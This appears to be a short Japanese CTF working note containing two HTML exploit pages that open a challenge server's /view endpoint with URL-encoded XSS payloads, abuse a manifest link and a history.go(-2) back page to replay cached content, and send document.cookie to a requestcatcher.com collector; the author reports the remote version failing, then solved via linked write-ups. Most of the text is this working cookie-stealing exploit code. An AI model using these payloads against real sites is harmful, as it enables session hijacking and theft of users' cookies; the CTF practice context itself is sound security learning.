手元で立ち上げてlocalhost.htmlを普通にChromeで起動するとrequestcatcherにリクエストが飛ぶが、本番環境の方に変えると2つ戻ってきたときにうまくmanifestで取得したときのキャッシュが使われない。

localhost.html

<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms))
    setTimeout(async () => {
        let view = `http://localhost:3000/view?%68tml=<%73cript>fetch('https://sadfsadf.requestcatcher.com/test?'%2bdocument.cookie);</%73cript>`

        w = window.open(view);
        await sleep(3000);
        w.location = 'http://localhost:3000/view?html=%3Clink+rel%3D%22manifest%22+href%3D%22http%3A%2F%2Flocalhost%3A3000%2Fview%3F%2568tml%3D%3C%2573cript%3Efetch%28%27https%3A%2F%2Fsadfsadf.requestcatcher.com%2Ftest%3F%27%252bdocument.cookie%29%3B%3C%2F%2573cript%3E%22+%2F%3E';
        await sleep(3000);
        w.location = 'https://5ee6-126-254-185-137.ngrok-free.app/back.html'; // 2つ戻るページ
    }, 0)
</script>

production.html

<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms))
    setTimeout(async () => {
        let view = `http://34.170.146.252:30069/view?%68tml=<%73cript>fetch('https://sadfsadf.requestcatcher.com/test?'%2bdocument.cookie);</%73cript>`

        w = window.open(view);
        await sleep(3000);
        w.location = 'http://34.170.146.252:30069/view?html=%3Clink+rel%3D%22manifest%22+href%3D%22http%3A%2F%2F34.170.146.252%3A30069%2Fview%3F%2568tml%3D%3C%2573cript%3Efetch%28%27https%3A%2F%2Fsadfsadf.requestcatcher.com%2Ftest%3F%27%252bdocument.cookie%29%3B%3C%2F%2573cript%3E%22+%2F%3E';
        await sleep(3000);
        w.location = 'https://5ee6-126-254-185-137.ngrok-free.app/back.html'; // 2つ戻るページ
    }, 0)
</script>

https://blog.arkark.dev/2022/11/18/seccon-ja/#web-spanote を試したが…

back.htmlは

<script>history.go(-2);</script>

https://blog.hamayanhamayan.com/entry/2024/11/30/230626 解決しました